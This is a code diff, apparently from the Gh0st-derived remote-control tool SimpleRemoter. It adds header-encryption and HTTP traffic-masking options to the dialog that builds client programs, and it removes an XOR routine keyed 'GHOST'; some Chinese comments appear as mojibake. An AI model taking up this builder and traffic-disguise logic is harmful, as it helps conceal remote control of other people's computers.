expired = expired.empty() ? "" : " Expired on " + expired;
|
||||||
strText.Format(_T("文件路径: %s%s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s\r\n上线信息: %s %d"),
|
strText.Format(_T("文件路径: %s%s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s\r\n上线信息: %s %d %s"),
|
||||||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH],
|
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH],
|
||||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
|
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
|
||||||
ctx->GetProtocol().c_str(), ctx->GetServerPort());
|
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str());
|
||||||
|
|
||||||
// 获取鼠标位置
|
// 获取鼠标位置
|
||||||
CPoint pt;
|
CPoint pt;
|
||||||
|
|||||||
@@ -74,12 +74,14 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||||||
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
|
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
|
||||||
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
|
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||||
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
|
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
|
||||||
|
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -150,6 +152,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||||||
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
||||||
|
g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel();
|
||||||
|
|
||||||
if (!g_ConnectAddress.IsValid()) {
|
if (!g_ConnectAddress.IsValid()) {
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
@@ -264,27 +267,16 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
|
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
|
||||||
m_ComboProto.SetCurSel(PROTO_TCP);
|
m_ComboProto.SetCurSel(PROTO_TCP);
|
||||||
|
|
||||||
|
m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine");
|
||||||
|
m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL");
|
||||||
|
m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE);
|
||||||
|
|
||||||
m_OtherItem.ShowWindow(SW_HIDE);
|
m_OtherItem.ShowWindow(SW_HIDE);
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
}
|
}
|
||||||
|
|
||||||
Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
|
|
||||||
switch (method)
|
|
||||||
{
|
|
||||||
case 0:// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
break;
|
|
||||||
case 1: // XOR
|
|
||||||
xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' });
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return Buffer();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||||
{
|
{
|
||||||
auto n = m_ComboExe.GetCurSel();
|
auto n = m_ComboExe.GetCurSel();
|
||||||
@@ -335,3 +327,10 @@ void CBuildDlg::OnCbnSelchangeComboExe()
|
|||||||
m_OtherItem.ShowWindow(SW_HIDE);
|
m_OtherItem.ShowWindow(SW_HIDE);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CBuildDlg::OnHelpParameters()
|
||||||
|
{
|
||||||
|
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#<23><><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>");
|
||||||
|
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
|
||||||
|
}
|
||||||
|
|||||||
@@ -26,7 +26,6 @@ public:
|
|||||||
CString m_strPort;
|
CString m_strPort;
|
||||||
afx_msg void OnBnClickedOk();
|
afx_msg void OnBnClickedOk();
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
Buffer Encrypt(BYTE* buffer, int len, int method);
|
|
||||||
CComboBox m_ComboExe;
|
CComboBox m_ComboExe;
|
||||||
|
|
||||||
afx_msg void OnCbnSelchangeComboExe();
|
afx_msg void OnCbnSelchangeComboExe();
|
||||||
@@ -34,4 +33,6 @@ public:
|
|||||||
CComboBox m_ComboBits;
|
CComboBox m_ComboBits;
|
||||||
CComboBox m_ComboRunType;
|
CComboBox m_ComboRunType;
|
||||||
CComboBox m_ComboProto;
|
CComboBox m_ComboProto;
|
||||||
|
CComboBox m_ComboEncrypt;
|
||||||
|
afx_msg void OnHelpParameters();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -293,6 +293,7 @@ public:
|
|||||||
virtual int GetPort() const = 0;
|
virtual int GetPort() const = 0;
|
||||||
virtual std::string GetProtocol() const = 0;
|
virtual std::string GetProtocol() const = 0;
|
||||||
virtual int GetServerPort() const = 0;
|
virtual int GetServerPort() const = 0;
|
||||||
|
virtual FlagType GetFlagType() const = 0;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
virtual ~context() {}
|
virtual ~context() {}
|
||||||
@@ -331,7 +332,7 @@ public:
|
|||||||
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
std::string GetProtocol() const override {
|
std::string GetProtocol() const override {
|
||||||
return "TCP";
|
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
|
||||||
}
|
}
|
||||||
int GetServerPort() const override {
|
int GetServerPort() const override {
|
||||||
return server->GetPort();
|
return server->GetPort();
|
||||||
@@ -410,6 +411,9 @@ public:
|
|||||||
BYTE GetBYTE(int offset) {
|
BYTE GetBYTE(int offset) {
|
||||||
return InDeCompressedBuffer.GetBYTE(offset);
|
return InDeCompressedBuffer.GetBYTE(offset);
|
||||||
}
|
}
|
||||||
|
virtual FlagType GetFlagType() const override {
|
||||||
|
return Parser.m_nFlagType;
|
||||||
|
}
|
||||||
// Write compressed buffer.
|
// Write compressed buffer.
|
||||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) {
|
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) {
|
||||||
if (Parser.IsParsed()) {
|
if (Parser.IsParsed()) {
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user